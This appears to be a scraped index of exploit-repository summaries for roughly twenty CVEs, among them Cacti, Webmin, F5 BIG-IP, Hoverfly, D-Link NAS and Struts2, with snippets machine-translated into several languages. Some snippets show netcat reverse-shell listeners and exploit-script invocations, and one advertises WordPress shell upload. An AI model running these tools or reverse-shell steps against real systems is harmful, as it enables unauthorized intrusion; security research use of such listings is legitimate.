CVE-2022-28672

CVE-2022-28672 Discord Server Questo bug è un Use after Free causato da una gestione impropria dei riferimenti alla memoria degli oggetti JavaScript. Blog Foxit PDF Reader - UaF - RCE - JIT Spraying Advisory CVE-2022-28672 Demo...

CVE-2024-25641-Exploit-for-Cacti-1.2.26

Cacti 1.2.26 के लिए CVE-2024-25641 एक्सप्लॉइट Cacti 1.2.26 पर CVE-2024-25641 का शोषण। जब कोई उपयोगकर्ता प्रमाणित होता है, तो एक मनमाना फ़ाइल लेखन भेद्यता रिमोट कोड निष्पादन RCE की अनुमति देती है। अवलोकन यह स्क्रिप्ट Cacti 1.2.26 में CVE-2024-25641 का शोषण करने की प्रक्रिया को स्वचालित करती है। यह...

CVE-2019-15107

تطبيقات Webmin للإصدارات 1.890 وما دونها معرضة لثغرة تنفيذ التعليمات البرمجية عن بُعد دون مصادقة. CVE-2019-15107. المرجع: https://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE...

CVE-2022-1388

CVE-2022-1388 - F5 BIG-IP iControl REST Bypass dell'autenticazione e RCE Questo script Python sfrutta CVE-2022-1388, una vulnerabilità critica in F5 BIG-IP iControl REST che consente l'esecuzione remota di comandi senza autenticazione tramite un controllo degli accessi improprio e una gestione no...

CVE-2025-41646

CVE-2025-41646 - RevPi Webstatus = 2.4.5 Exploit zur Authentifizierungsumgehung Überblick Dies ist ein Python3-Exploit-Skript für CVE-2025-41646 , eine Schwachstelle zur Authentifizierungsumgehung , die RevPi Webstatus = 2.4.5 betrifft. Details zur Schwachstelle: CVE ID : CVE-2025-41646 Betroffen...

CVE-2021-2109

CVE-2021-2109 Weblogic Server Remote-Code-Execution-Schwachstelle: Reproduktion und Analyse Im Januar 2021 veröffentlichte Oracle Sicherheitsupdates, darunter 329 neue Sicherheitspatches in der Oracle-Produktfamilie. In dieser Ankündigung wurde insbesondere das am 1. November 2020 veröffentlichte...

CVE-2022-43571

CVE-2022-43571 CVE-2022-43571 Splunk RCE – meine persönliche Reise, um dein Leben bunt zu machen Nur weil ich von meiner IT die Aussage bekam, es gäbe keine Gründe für ein SPLUNK-Update, habe ich diese Schwachstelle CVE-2022-43571 analysiert, um das Gegenteil für eine Remote-Code-Ausführung zu...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE Verwendung Befehlsausführung: root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Reverse-Shell: root@kitploit: nc -lvnp 443 root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP...

SMB-Protocol-Vulnerability_CVE-2017-0144

LAB: ANGRIFF AUF WINDOWS-BETRIEBSSYSTEME AUF BASIS DER SMB-PROTOKOLL-SICHERHEITSLÜCKE. 1. BESCHREIBUNG 2. ALLGEMEINE EINFÜHRUNG 3. VORBEREITUNG 4. DURCHFÜHRUNG DES ANGRIFFS 5. SCHUTZMASSNAHMEN 1. BESCHREIBUNG In diesem Lab verwenden wir zwei Computer, um einen Angriff auf Basis der...

CVE-2024-10915

CVE-2024-10915 - Exploit di Command Injection su NAS D-Link Questo exploit basato su Python prende di mira una vulnerabilità di command injection in diversi prodotti NAS D-Link tramite l'endpoint /cgi-bin/accountmgr.cgi?cmd=cgiuseradd. La vulnerabilità consente ad attaccanti non autenticati di...

Worpress-CVE-2023-5360

CVE-2023-5360 CVE-2023-5360 Auto Shell Upload WordPress Royal Elementor 1.3.78 Shell Upload Visita https://phankz.com...

pfBlockerNg-CVE-2022-40624

pfBlockerNg-CVE-2022-40624 Contesto pfBlockerNG è la nuova generazione di pfBlocker con le seguenti funzionalità: 1. Gestire le origini degli elenchi IPv4/v6 nei formati 'Deny, Permit o Match'. 2. Database GeoIP di MaxMind Inc. versione gratuita GeoLite2. 3. Miglioramenti di deduplicazione,...

CVE-2019-0604

CVE-2019-0604 cve-2019-0604 exploit RCE di SharePoint blog: https://www.cnblogs.com/k8gege/p/11093992.html wiki: https://github.com/k8gege/K8CScan/wiki/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-CVE-2019-0604-SharePoint-GetShell-Exploit...

Cobaltstrike-RCE-CVE-2022-39197

Riproduzione della vulnerabilità RCE di Cobaltstrike CVE-2022-39197 Sintesi della vulnerabilità Questa vulnerabilità è presente nel software Beacon di Cobalt Strike e potrebbe consentire a un aggressore di impostare un nome utente malformato nella configurazione di Beacon, innescando una XSS che...

Blackbone

Blackbone Libreria di hacking della memoria di Windows Caratteristiche Supporto x86 e x64 Interazione con i processi Gestire PEB32/PEB64 Gestire il processo attraverso la barriera WOW64 Memoria del processo Allocare e liberare memoria virtuale Modificare la protezione della memoria Leggere/Scrive...

CVE-2022-25845-exploit

CVE-2022-25845-exploit Prova a sfruttare questa CVE studiando alcuni articoli: https://jfrog.com/blog/cve-2022-25845-analyzing-the-fastjson-auto-type-bypass-rce-vulnerability/ https://www.freebuf.com/vuls/339752.html Questa è la mia analisi:...

unrealircd3.2.8.1-local-exploit

Getestet auf Metasploitable 3 VERWENDUNG Ruby Auf der Shell des Angreifers root@kitploit: nc -nlvp 1111 Auf der Shell des Opfers root@kitploit: ruby exploit.rb 127.0.0.1 Erwartete Ausgabe auf der Shell des Angreifers root@kitploit: listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN...

juniper-rce_cve-2023-36844

CVE-2023-36844 , CVE-2023-36845 , CVE-2023-36846 , CVE-2023-36847 SRX और EX सीरीज़ उत्पादों में Juniper JunOS के भीतर रिमोट कोड निष्पादन प्राप्त करने के लिए @watchTowr द्वारा विकसित CVE-2023-36844, CVE-2023-36845, CVE-2023-36846, CVE-2023-36847 CVEs को श्रृंखलित करने हेतु एक प्रूफ ऑफ कॉन्सेप्ट।...

CVE-2017-8464-EXP

CVE-2017-8464-EXP Supporto x86 e x64 Solo per test File LNK da: https://github.com/rapid7/metasploit-framework/pull/8767 Ringraziamenti a ykoster Piccola modifica, sostituzione del file dll, correzione del bug del crash di explorer.exe. ykoster ha corretto questo bug POC: x86: x64: Se riesci a...

CVE-2018-11776

CVE-2018-11776 Ambiente para CVE-2018-11776 / S2-057 Demonstração Executar servidor root@kitploit: $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Exploração root@kitploit: $ nc -l 10000 ou nc -lp 10000 root@kitploit: $ python3 exploit.py...